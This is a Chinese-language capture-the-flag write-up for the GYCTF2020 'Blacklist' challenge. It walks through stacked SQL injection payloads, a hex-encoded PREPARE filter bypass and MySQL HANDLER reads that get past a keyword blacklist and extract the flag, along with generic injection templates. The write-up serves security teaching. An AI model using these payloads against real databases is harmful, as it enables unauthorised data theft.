[GYCTF2020]Blacklist
Step 1
輸入1,回顯:
array(2) {
[0]=>
string(1) "1"
[1]=>
string(7) "hahahah"
}
稍微嘗試注入:
/?inject=1'+union+select+1,2,3;#
回顯:
return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);
發現這些關鍵字被過濾了。
Step 2
發現可以堆疊注入:
/?inject=1';show databases;#
有回顯:
array(1) {
[0]=>
string(11) "ctftraining"
}
查表:
/?inject=1';show tables;#
回顯:
array(1) {
[0]=>
string(8) "FlagHere"
}
查列:
/?inject=1';show columns from FlagHere;#
回顯:
array(6) {
[0]=>
string(4) "flag"
但是不能用select去查詢,於是可以採取mysql的handler(handler命令也可以像select一樣進行查詢):
/?inject=1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;
array(1) {
[0]=>
string(42) "flag{~}"
}
堆疊注入
堆疊注入和平常的注入不同,平常型別的注入主要靠的已有的select(通常是)進行查詢操作,而堆疊就是利用分號進行隔斷,再進行新一行的sql命令。
主要原因
mysqli_multi_query($sql1,$sql2);
具體注入方法:
查庫
';show databases;
查表
';show tables;
';show columns from [table_name];
';select [column_name] from [table_name];
';SeT @a=0x73656c656374202a2066726f6d205b7461626c655f6e616d655d;prepare execsql from @a;execute execsql;
Handler命令
HANDLER命令是MySQL中的一種特殊命令,它允許使用者在底層與表的儲存引擎直接互動。透過HANDLER,你可以開啟一個表,然後逐行讀取資料,而不需要使用SELECT語句。這種底層的訪問方式在某些場景下可以提供更高的效能,尤其是在需要批次處理大量資料的情況下。
語法:
HANDLER tbl_name OPEN [ [AS] alias]
HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,…)
[ WHERE where_condition ] [LIMIT … ]
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
[ WHERE where_condition ] [LIMIT … ]
HANDLER tbl_name READ { FIRST | NEXT }
[ WHERE where_condition ] [LIMIT … ]
HANDLER tbl_name CLOSE
參考:MySQL HANDLER命令:一種獨特的表資料訪問方式